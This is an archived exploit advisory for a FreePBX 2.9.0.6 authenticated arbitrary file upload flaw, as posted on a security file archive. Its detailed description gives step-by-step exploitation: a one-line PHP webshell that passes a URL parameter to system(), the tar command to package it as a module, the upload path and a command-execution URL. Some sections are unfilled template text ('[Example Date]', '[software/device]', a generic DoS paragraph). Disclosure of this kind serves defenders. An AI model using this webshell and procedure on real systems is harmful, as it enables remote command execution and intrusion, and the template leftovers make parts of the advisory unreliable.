exploit the possibilities

FreePBX 2.9.0.6 Shell Upload

FreePBX 2.9.0.6 Shell Upload
Posted Jun 9, 2011
Authored by Tiago Ferreira

FreePBX version 2.9.0.6 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
MD5 | 6b94049bbc627fffc65881801ecfc7f7

FreePBX 2.9.0.6 Shell Upload

Change Mirror Download
====[ Alligator Security Team
]===============================================

FreePBX - Module Administration Arbitrary File Upload

Members: Tiago Ferreira < tiago SPAM alligatorteam.org >

====[ Table of Contents
]=====================================================

1. Overview
2. Detailed description
3. Other Contexts & Solutions
4. Thanks
5. References

====[ Overview
]==============================================================

* Systems affected: FreePBX
* Version: 2.9.0.6 (other versions may be affected)
* Release date: [Example Date]
* Impact: Remote command execution

"FreePBX is an easy to use GUI (graphical user interface) that controls and
manages Asterisk, the world's most popular open source telephony engine
software. FreePBX has been developed and hardened by thousands of volunteers
over tens of thousands man hours. FreePBX has been downloaded over 5,000,000
times and estimates over 500,000 active phone systems."[1]

The functionality Module Admin, available for authenticated users within
the administrative interface of FreePBX, is prone to a vulnerability which
enables an attacker to upload malicious PHP files, and thus, perform remote
arbitrary code execution within the context of a web server user."

====[ Detailed description
]==================================================

In order to exploit this vulnerability and execute remote commands on a
vulnerable FreePBX instance, access to Module Admin (Admin > Setup > Module
Admin or, Tools > Setup > Module Admin) is needed. This can be aquired by
following the given steps:

1. Create a directory like: webshell
2. Get a PHP file web trojan (webshell.php)

Ex.: <? if($_GET['cmd']) { system($_GET['cmd']); }?>

3. Put this file into the webshell directory and create a tarball. This zip
file name needs to follow the given rule: name-version.[tar|tar.gz|tgz], to
our webshell we will do this: tar -czvf webshell-1.0.tar.gz webshell/.

4. On the upload form, browse to the file wbshell-1.0.tar.gz and send it.

When the file is uploaded with success, the path for accessing the trojan
will be: /admin/modules/webshell/webshell.php.

Now, the possibility for executing remote system commands is possible using
the uploaded trojan.

Ex: http://127.0.0.1/admin/modules/webshell/webshell.php?cmd=whoami

====[ Other Contexts & Solutions
]============================================

Description of a possible use case of the mentioned vulnerability.

Ex (DoS): A potential attacker could take advantage of this issue to disable
the services provided by [software/device] for as long as the attacks
occurs.

====[ Thanks/Acknowledgements
]===============================================

- Joaquim Brasil < joaquim SPAM alligatorteam.org >


====[ References
]============================================================

- [1] http://www.freepbx.org/

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    32 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    10 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close